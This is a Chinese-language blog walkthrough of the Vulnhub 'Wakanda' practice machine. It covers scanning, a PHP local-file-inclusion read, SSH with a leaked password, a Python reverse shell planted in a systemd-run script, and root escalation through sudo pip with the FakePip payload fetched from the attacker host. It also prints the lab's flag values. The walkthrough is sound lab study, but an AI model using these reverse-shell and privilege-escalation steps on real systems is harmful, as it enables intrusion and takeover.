Yoga7xm's Blog

Vulnhub之Wakanda

字数统计: 1.8k阅读时长: 7 min
2018/12/18 Share

0x00 前言

一个难度适中,标准的Boot-to-Root靶机

目标:

  1. flag1.txt
  2. flag2.txt
  3. root.txt

0x01 靶机地址

传送门

0x02 环境搭建

下载好的voa文件之后,直接用Vbox导入,然后将网卡改成桥接模式,利用VBoxManage 查看IP

  • 靶机IP:192.168.1.105
  • 攻击机Ubuntu:192.168.1.166
  • 攻击机win7:192.168.1.61

0x03 Play

1.信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
nmap -sT -p- -v -A 192.168.1.105 -oN wakanda.txt

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Vibranium Market
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 42874/udp status
|_ 100024 1 56270/tcp status
3333/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 1c:98:47:56:fc:b8:14:08:8f:93:ca:36:44:7f:ea:7a (DSA)
| 2048 f1:d5:04:78:d3:3a:9b:dc:13:df:0f:5f:7f:fb:f4:26 (RSA)
|_ 256 d8:34:41:5d:9b:fe:51:bc:c6:4e:02:14:5e:e1:08:c5 (ECDSA)
56270/tcp open status 1 (RPC #100024)

有四个端口是开放的 web、RPC、SSH 三大服务

RPC服务,主要是在nfs共享时候负责通知客户端,服务器的nfs端口号的。简单理解RPC就是一个中介服务。

2.漏洞检测与利用

打开 http://192.168.1.105/ web 主页

常规扫下目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
./dirb http://192.168.1.105 ./wordlists/common.txt

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sat Dec 15 23:52:53 2018
URL_BASE: http://192.168.1.105/
WORDLIST_FILES: ./wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.105/ ----
+ http://192.168.1.105/admin (CODE:200|SIZE:0)
+ http://192.168.1.105/backup (CODE:200|SIZE:0)
+ http://192.168.1.105/index.php (CODE:200|SIZE:1527)
+ http://192.168.1.105/secret (CODE:200|SIZE:0)
+ http://192.168.1.105/server-status (CODE:403|SIZE:301)
+ http://192.168.1.105/shell (CODE:200|SIZE:0)

-----------------
END_TIME: Sat Dec 15 23:53:00 2018
DOWNLOADED: 4612 - FOUND: 6

虽然发现几个目录 但Size都为0或者403,只能查看index的源码了。

于是尝试http://192.168.1.105/index.php?lang=fr

说明这个参数是改界面语言的,所以可能是文件包含,于是尝试下过滤器,包含自己,得到源码。

http://192.168.1.105/index.php?lang=php://filter/read=convert.base64-encode/resource=index

然后解码后

1
2
3
4
5
6
7
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it
if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}
?>

3.Getshell

但是这个文件包含非常鸡肋,不能跨目录 也不能远程包含

收获一个Niamey4Ever227!!!密码 和一个可能是用户名的mamadou

使用该账密 尝试登陆ssh

ssh -p 3333 mamadou@192.168.1.105

登陆成功 但是有丝奇怪,是一个python shell

无数次反弹shell失败之后,利用py的pty把完全交互式的终端弄出来。

1
2
3
>>> from pty import spawn
>>> spawn("/bin/bash")
mamadou@Wakanda1:~$

查看所有文件 发现一个flag1.txt文件 并得到flag1

Flag : d86b9ad71ca887f4dd1dac86ba1c4dfc

4.提权

查看/etc/passwd 查找系统用户 然后进入其home文件夹中查看其文件

然后进入其home文件夹中查看其文件 找到了个flag2.txt 但是无奈权限不够

1
2
3
4
5
6
7
mamadou@Wakanda1:~$ cd /home/devops/
You have new mail in /var/mail/mamadou
mamadou@Wakanda1:/home/devops$ ls
flag2.txt
mamadou@Wakanda1:/home/devops$ cat flag2.txt
cat: flag2.txt: Permission denied
mamadou@Wakanda1:/home/devops$

全局查找下 devops的文件 find / -user devops 2>/dev/null

发现了 7个文件

一个临时目录下的test文件 一个flag2.txt 一个bash的配置文件 一个环境变量文件 还有个隐藏的py文件

/srv :主要用来存储本机或本服务器提供的服务或数据。(用户主动生产的数据、对外提供服务)

/var :系统产生的不可自动销毁的缓存文件、日志记录。(系统和程序运行后产生的数据、不对外提供服务、只能用户手动清理)(包括mail、数据库文件、日志文件)

/tmp :保存在使用完毕后可随时销毁的缓存文件。(有可能是由系统或程序产生、也有可能是用户主动放入的临时数据、系统会自动清理)

分别cat 一下

1
2
3
4
5
$ cat /tmp/test
test

$ cat /srv/.antivirus.py
open('/tmp/test','w').write('test')

说明 test文件 是 /srv/.antivirus.py 建立的

测试该文件是否自动运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
mamadou@Wakanda1:~$ grep -R /srv/.antivirus.py / 2>/dev/null
/lib/systemd/system/antivirus.service:ExecStart=/usr/bin/env python /srv/.antivirus.py
# 确实自动运行

#查看/lib/systemd/system/antivirus.service
cat /lib/systemd/system/antivirus.service

[Unit]
Description=Antivirus
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=always
RestartSec=300
User=devops
ExecStart=/usr/bin/env python /srv/.antivirus.py

[Install]
WantedBy=multi-user.target

每隔300s运行一次。于是可以写一个反弹shell的py文件 覆盖.antivirus.py文件

1
2
3
4
5
6
7
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.1.166',1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']);

五分钟过去了,终于反弹了shell

然后查看flag2.txt

Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098

查看用户权限: sudo -l

只能以超级权限够执行pip ,可以用FakePip进行提权

这个脚本通过在pip重新安装时执行的setup.py文件中插入shellcode,导致其可通过pip反弹root权限的shell给攻击机

将文件clone下来 然后修改下IP即可

1
git clone https://github.com/0x00-0x00/FakePip.git

然后开启python简易服务器,监听443端口

1
python -m SimpleHTTPServer 80

然后下载即可

1
wget http://192.168.1.166/setup.py

使用README上的命令安装即可

1
sudo /usr/bin/pip install . --upgrade --force-reinstall

返回了shell ,接下来就是查看root.txt 了

0x04 回顾

  1. 打开web端,扫了下目录,并没有发现有用的文件夹,于是乎查看唯一个页面的源码,发现提示?lang可以改变语言,然后测试了下,该处存在文件包含漏洞,但是无法远程包含,也无法跨目录,所以只得查看了唯一的页面源码。
  2. 查看了index源码,发现了一个用户名和密码,然后利用ssh登录上去,是一个Python的shell,开始想着是反弹shell,一顿操作过后并没有反弹出来,于是百度,找到了个pty,可以把shell给弄出来。
  3. 拿到shell之后 发现了本目录下有个flag1.txt,然后读取了下/etc/passwd 找到了另外一个系统用户devops,然后全局查找了下属于该用户的文件,发现了俩个有用的文件,一个/tmp/test,一个/srv/.antivirus.py。查看后者源码,才知道test文件是其产生的,于是测了下文件,知晓其为每300s自动运行一次,于是在该文件中插入shellcode,反弹了devops的shell
  4. 拿到devops的shell之后,cat了该目录下的flag2.txt。然后查看了下该用户的权限,发现只能以sudo权限运行pip,于是借助Fakepip提权,反弹root权限的shell,最后查看root.txt,game over!!!

0x05 难点

  1. LFI 比较隐蔽很难找到这个入口
  2. cms主页中@开头的一个名字,很难联想到是用户名
  3. python shell 利用pty 转成bash shell
  4. 测试/srv/.antivirus.py的运行状况,然后插入shellcode
  5. 利用Fakepip 提权
CATALOG
  1. 1. 0x00 前言
  2. 2. 0x01 靶机地址
  3. 3. 0x02 环境搭建
  4. 4. 0x03 Play
    1. 4.1. 1.信息收集
    2. 4.2. 2.漏洞检测与利用
    3. 4.3. 3.Getshell
    4. 4.4. 4.提权
  5. 5. 0x04 回顾
  6. 6. 0x05 难点